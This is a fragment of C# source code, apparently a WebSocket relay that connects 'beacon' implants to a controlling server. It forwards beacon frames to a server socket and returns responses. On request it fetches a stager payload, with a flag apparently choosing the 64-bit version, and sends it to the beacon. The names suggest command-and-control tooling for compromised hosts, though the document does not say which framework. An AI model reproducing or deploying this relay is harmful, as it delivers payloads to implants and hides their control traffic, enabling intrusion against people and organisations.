/// <summary> /// Send the buffer in a WebSocketFrame to the WebSocket server /// </summary> /// <param name="buffer"></param> public void SendFrame(byte[] buffer) { var frame = new WebSocketFrame(FrameType.ToServer, BeaconId, buffer); var frameBuffer = Encoding.UTF8.GetBytes(frame.Encode()); SendMessageAsync(frameBuffer); }
/// <summary> /// Called when [connected]. /// </summary> /// <param name="socket">The socket.</param> /// <returns></returns> public override async Task OnConnected(WebSocket socket) { await base.OnConnected(socket); var socketId = WebSocketManager.GetId(socket); Console.WriteLine($"Beacon connected: {socketId}"); var serverChannel = new SocketChannel(_settings.IpAddress, _settings.Port); serverChannel.Connect(); _socketManager.AddChannel(socketId, serverChannel); Console.WriteLine("Sending connect acknowledgement"); var frame = new WebSocketFrame(FrameType.Connect, socketId.InternalId, new byte[] { 0x00 }); await SendMessageAsync(socketId, frame.Encode()); }
/// <summary> /// Receives the asynchronous. /// </summary> /// <param name="socket">The socket.</param> /// <param name="result">The result.</param> /// <param name="buffer">The buffer.</param> /// <returns></returns> public override async Task ReceiveAsync(WebSocket socket, WebSocketReceiveResult result, byte[] buffer) { var beaconId = WebSocketManager.GetId(socket); var frame = WebSocketFrame.Decode(Encoding.UTF8.GetString(buffer)); switch (frame.Type) { case FrameType.Connect: case FrameType.ToBeacon: Console.WriteLine("Server doesn't need to handle Connect/ToBeacon frames"); break; case FrameType.Stager: // Get stager from server channel var stager = GetStager(beaconId, frame.Buffer[0] == 0x64); var stageFrame = new WebSocketFrame(FrameType.Stager, beaconId.InternalId, stager); // Send stager to beacon channel await SendMessageAsync(beaconId, stageFrame.Encode()); break; case FrameType.ToServer: // Send frame to server channel SendFrame(beaconId, frame.Buffer); // Read frame from server channel var respFrame = new WebSocketFrame(FrameType.ToBeacon, beaconId.InternalId, ReadFrame(beaconId)); // Send frame to beacon channel await SendMessageAsync(beaconId, respFrame.Encode()); break; default: Console.WriteLine("Unknown frame type..."); break; } }